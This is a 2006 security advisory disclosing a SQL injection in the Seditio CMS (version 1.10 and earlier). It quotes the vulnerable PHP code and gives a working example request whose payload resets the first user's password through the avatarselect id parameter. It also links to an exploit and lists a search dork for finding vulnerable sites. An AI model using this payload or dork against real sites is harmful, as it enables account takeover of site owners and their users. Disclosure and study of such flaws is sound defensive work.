--Security Report-- Advisory: Seditio <= 1.10 Remote SQL Injection Vulnerability. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 21/10/06 09:44 PM --- Contacts:{ ICQ: 10072 MSN/Email: nukedx@nukedx.com Web: http://www.nukedx.com } --- Vendor: Neocrome (http://www.neocrome.net) Version: 1.10 also prior versions must be affected. About: Via this methods remote attacker can manipulate SQL query and change everything in Seditio's user database.Vulnerable code can be found in users.profile.inc.php at lines 108-116 -Source in system/core/users/users.profile.inc.php- 108: case 'avatarselect': 109: /* ============= */ 110: 111: sed_check_xg(); 112: $avatar = $cfg['defav_dir'].urldecode($id); 113: if (file_exists($avatar)) 114: { $sql = sed_sql_query("UPDATE $db_users SET user_avatar='$avatar' WHERE user_id='".$usr['id']."'"); } 115: 116: break; -End of source- As you can see "id" parameter did not sanitized properly and used with urldecode() function which decodes id's value so remote attacker can bypass magic_quotes_gpc and other functions which escapes ' strings.In avatarselect Seditio checks files available with file_exists function and urldecode help us by using null byte. A demostration exploitation will be given in How&Example part. Level: Highly Critical --- How&Example: GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=XVALUE&id=default.gif[SQL Inject] GET -> http://www.victim.com/users.php?m=profile&a=avatarselect&x=011A99&id=default.gif%2500%2527,user_password=%2527e10adc3949ba59abbe56e057f20f883e%2527/**/where/**/user_id=1/* with this example remote attacker changes password of 1st user of Seditio to 123456 The XVALUE comes with your avatarselect link it's special to everyuser in Seditio. For using this vulnerability you must be logged in to Seditio... Timeline: * 21/10/2006: Vulnerability found. * 21/10/2006: Contacted with vendor and waiting reply. --- Original advisory can be found at: http://www.nukedx.com/?viewdoc=52 --- Exploit: http://www.nukedx.com/?getxpl=52 --- Dorks: "Powered by Seditio"